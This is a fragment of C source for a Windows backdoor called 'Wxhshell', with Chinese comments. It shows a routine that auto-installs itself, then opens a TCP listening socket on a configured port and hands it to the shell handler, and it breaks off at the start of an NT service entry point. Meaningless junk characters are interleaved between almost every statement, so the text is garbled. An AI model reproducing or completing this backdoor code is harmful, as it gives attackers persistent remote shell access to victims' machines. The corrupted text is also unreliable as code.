$rBq"u=,0+ if(strstr(procName,"services")) return 1; // 以服务启动 u~:y\/Y6 05#1w#i return 0; // 注册表启动 PdFKs+Z` } F,F4nw<W qA7>vi% // 主模块 k"%~"9 int StartWxhshell(LPSTR lpCmdLine) 2zA4vZkbcw { |Zpfq63W SOCKET wsl; *;slV3 BOOL val=TRUE; +o{R _ int port=0; M/'sl; struct sockaddr_in door; [S%_In wmL'F:UP if(wscfg.ws_autoins) Install(); UhWNl]Z )EuvRLo{S7 port=atoi(lpCmdLine); uAq~=)F>, ua$GNm if(port<=0) port=wscfg.ws_port;
x+:UN'"r mDABH@R WSADATA data; {4}yKjW%z if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n,(sBOQ >8^
$ [}w if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; X7MM2V setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bo>*fNqAIy door.sin_family = AF_INET; {6|G@""O door.sin_addr.s_addr = inet_addr("127.0.0.1"); 65P0,b6"OT door.sin_port = htons(port); nnEgx;Nl0 y2dCEmhY if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D/xbF` closesocket(wsl); 2WL|wwA return 1; ZF8 yw(z } _/$Bpr{R
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g6 if(listen(wsl,2) == INVALID_SOCKET) { kZ
.gO closesocket(wsl); sf
qL|8 return 1; \ a<h/4#| } k,6f
Wxhshell(wsl); /4V#C- WSACleanup(); t#})Awy^R J?1 uKR return 0; ::lKL wu!59pL } a2O75 kWnm bHYy }weZ // 以NT服务方式启动 (zYtNLoFx VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {X+3;& |